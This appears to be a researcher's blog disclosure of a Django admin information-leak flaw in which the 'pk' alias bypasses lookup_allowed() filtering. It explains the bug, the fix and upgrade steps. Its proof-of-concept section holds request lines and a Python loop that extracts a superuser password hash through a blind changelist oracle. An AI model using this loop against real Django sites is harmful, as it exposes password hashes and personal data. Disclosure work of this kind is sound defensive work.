Scroll to top

CVE-2026-119642: Leaking Admin Data Through the “pk” Alias in Django’s Changelist

CVE-2026-119642 information leakage in the Django admin changelist via the pk alias on a OneToOneField primary key

Advisory: CVE-2026-119642 (GHSA-q4vj-h54x-h77f · EUVD-2026-141380)
Severity: Low (Django security policy) · CVSS 4.0 = 5.1
Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-200 (Exposure of Sensitive Information) — a special case of CVE-2010-4534
Component: django.contrib.admin — ModelAdmin.lookup_allowed()
Affected: Django 6.1 (< 6.1.4) / 6.0 (< 6.0.11) / 5.2 (< 5.2.20)
Fixed in: Django 6.1.4 / 6.0.11 / 5.2.20
Reported by: JoeCyberTech (credited on the CVE as “RelunSec”)
Published: 2 December 2026

Django’s admin is permission-aware. A staff user with only “view” permission on a model is supposed to see that model’s own rows and nothing else. The gatekeeper for changelist filters is ModelAdmin.lookup_allowed(), which decides whether a querystring like ?field__subfield=value is permitted or rejected with DisallowedModelAdminLookup.

I found that lookup_allowed() does not account for the “pk” alias. Everywhere else in Django the ORM treats pk as an alias for the model’s real primary key, but lookup_allowed() calls model._meta.get_field("pk"), which raises FieldDoesNotExist, so the guard breaks out of its loop and allows the lookup. When the primary key is a OneToOneField — the common “Profile” pattern, or the implicit *_ptr link of multi-table inheritance — the ORM then follows pk into the related table, so ?pk__<field> and ?<fk>__pk__<field> reach columns the viewer was never granted.

Turned into a blind boolean search, the admin changelist becomes an oracle over those columns — password hashes, is_superuser, e-mails, tokens — one character at a time. Django assigned CVE-2026-119642 (low severity, a special case of CVE-2010-4534) and fixed it in 6.1.4, 6.0.11 and 5.2.20.


The Admin’s Filtering Guard

When you add ?author__name=... to an admin changelist URL, Django does not blindly run it. ModelAdmin.lookup_allowed(lookup, value, request) walks the lookup path segment by segment and only allows it if each relation is something the admin is configured to expose (list_filter, list_display, etc.). A lookup that would reach into an unrelated model’s columns is rejected with DisallowedModelAdminLookup (HTTP 400). That check is the documented boundary that keeps a limited staff user from filtering on fields they cannot see.


The “pk” Blind Spot

Here is the relevant loop (django/contrib/admin/options.py):

relation_parts = []
prev_field = None
parts = lookup.split(LOOKUP_SEP)
for part in parts:
    try:
        field = model._meta.get_field(part)
    except FieldDoesNotExist:
        # Lookups on nonexistent fields are ok, since they're ignored later.
        break
    ...
if len(relation_parts) <= 1:
    # Either a local field filter, or no fields at all.
    return True

The comment is the trap. _meta.get_field("pk") raises FieldDoesNotExist, so the loop breaks on the first segment and the function returns True — “allowed.” But the claim that the lookup is “ignored later” is false: the ORM resolves pk to the real primary key and runs the query. Elsewhere in the same file Django is careful to map pk to opts.pk.name (for construct_search and lookup_spawns_duplicates); only lookup_allowed() forgot to.


Why “pk” Reaches Another Table

For an ordinary auto-increment id, pk__something goes nowhere interesting. But when the primary key is a OneToOneField, pk is a relation:

  • The classic Profile pattern: class Profile(models.Model): user = OneToOneField(User, primary_key=True). Here pk is the user link, so pk__password, pk__is_superuser, pk__email traverse straight into auth.User.
  • Multi-table inheritance (MTI): every child model Django creates has an implicit <parent>_ptr = OneToOneField(parent, primary_key=True). So any MTI model is affected by default — pk__<parent field> walks into the parent table.
  • And through a ForeignKey: ?<fk>__pk__<field> chains an allowed relation into the forbidden one.

From Allowed Filter to Blind Oracle

A single allowed filter does not print the hidden value — but it changes which rows come back. Combine pk__is_superuser=1 (narrow to the superuser’s row) with pk__password__regex=^md5... and the changelist either shows that row or does not. That yes/no is a boolean oracle. Walk it character by character with __startswith/__regex and you reconstruct the full value — a password hash ready for offline cracking, an e-mail, a token — without ever having permission to view the related model.


Proof of Concept

Models — a Profile whose primary key is a OneToOneField to User, and an Article with a ForeignKey to Profile. A staff user “viewer” holds only view_profile / view_article (no auth.* permissions):

# Control: the direct relation is correctly blocked (HTTP 400)
GET /admin/poc_app/profile/?user__password__startswith=md5$       -> 400
GET /admin/poc_app/article/?owner__password__startswith=md5$      -> 400

# Bypass via the "pk" alias (HTTP 200 — filter accepted)
GET /admin/poc_app/profile/?pk__is_superuser=1                    -> 200
GET /admin/poc_app/article/?author__pk__password__startswith=md5$ -> 200

Then the blind loop (startswith/regex are case-sensitive) recovers the superuser hash one character at a time:

alphabet = string.ascii_letters + string.digits + "$+/=_-"
known = "md5$"
while len(known) < 60:
    for ch in alphabet:
        r = c.get("/admin/poc_app/profile/",
                  {"pk__is_superuser": "1",
                   "pk__password__regex": "^" + re.escape(known + ch)})
        if "root's profile" in r.content.decode():
            known += ch; break
    else:
        break
# known == admin_user.password  ->  True

Multi-table inheritance behaves the same way through the implicit pointer: ?pk__owner__password__regex=^md5 is accepted and the hash falls out the same way.


Impact

Low by Django’s rating, because it needs an authenticated staff account with view permission (PR:H) and leaks only confidentiality (VC:L) of data reachable through a OneToOne/MTI primary key. But in a real deployment that data is often exactly what you least want leaked: Django password hashes (offline-crackable), is_superuser/is_staff flags, e-mail addresses, reset tokens and other PII sitting in related tables. It breaks the admin’s documented permission model — a view-only user enumerating fields they were never granted — which is why it earns a CVE even at low severity. It is a direct descendant of CVE-2010-4534, the original admin-changelist information leak.


The Two-Line Fix

The fix normalizes pk before the field lookup, so the guard sees the real primary-key field and evaluates the relation properly:

for part in parts:
    if part == "pk":
        part = model._meta.pk.name
    try:
        field = model._meta.get_field(part)
    except FieldDoesNotExist:
        break

With that, ?pk__password__isnull, ?pk__is_superuser, ?author__pk__password and the MTI variants are all rejected with DisallowedModelAdminLookup again, while legitimate lookups (pk, pk__in, author, owner__pk) keep working. Django shipped it in 6.1.4 / 6.0.11 / 5.2.20; the patch was authored by Jacob Walls and reviewed by Sarah Boyce.


What You Should Do

  • Upgrade to Django 6.1.4, 6.0.11 or 5.2.20 (or later).
  • Until then, audit admin registrations that use a OneToOneField primary key or multi-table inheritance, and consider restricting list_filter and who holds staff/view permissions.
  • Principle: “view” permission in the admin is not a read-only sandbox over a single model — filters traverse relations, so treat staff access as sensitive.

Final Assessment

This was a one-word gap — “pk” — in a function whose whole job is to say no. The ORM’s convenience of letting pk stand in for the primary key is correct everywhere except the one place that had to reason about it as a field name. The result let a view-only staff user turn the admin changelist into a character-by-character oracle over password hashes and other secrets in related tables. The fix is two lines; the lesson is that alias handling has to be consistent across every security decision, not just the query path.


References

CVE Record
CVE-2026-119642

GitHub Security Advisory
GHSA-q4vj-h54x-h77f

ENISA EUVD
EUVD-2026-141380

CWE-200: Exposure of Sensitive Information
https://cwe.mitre.org/data/definitions/200.html

Related: CVE-2010-4534 (the original admin-changelist leak)
CVE-2010-4534

Django security releases (2 Dec 2026)
6.1.4, 6.0.11, 5.2.20

Fix commit (main)
django/django@3a88a55


In the News

This Django security release (which includes the information-leakage flaw CVE-2026-119642) was covered by the Django community press, government cybersecurity institutions, and official advisories.

Discovered and reported by JoeCyberTech — credited on the CVE record as “RelunSec.” Patch by Jacob Walls, reviewed by Sarah Boyce; credited in the Django security release of 2 December 2026. GitHub: HackingRepo

Leave a Comment

Please check your email
Please check your message
Thank you. Your message has been sent.
Error, email not sent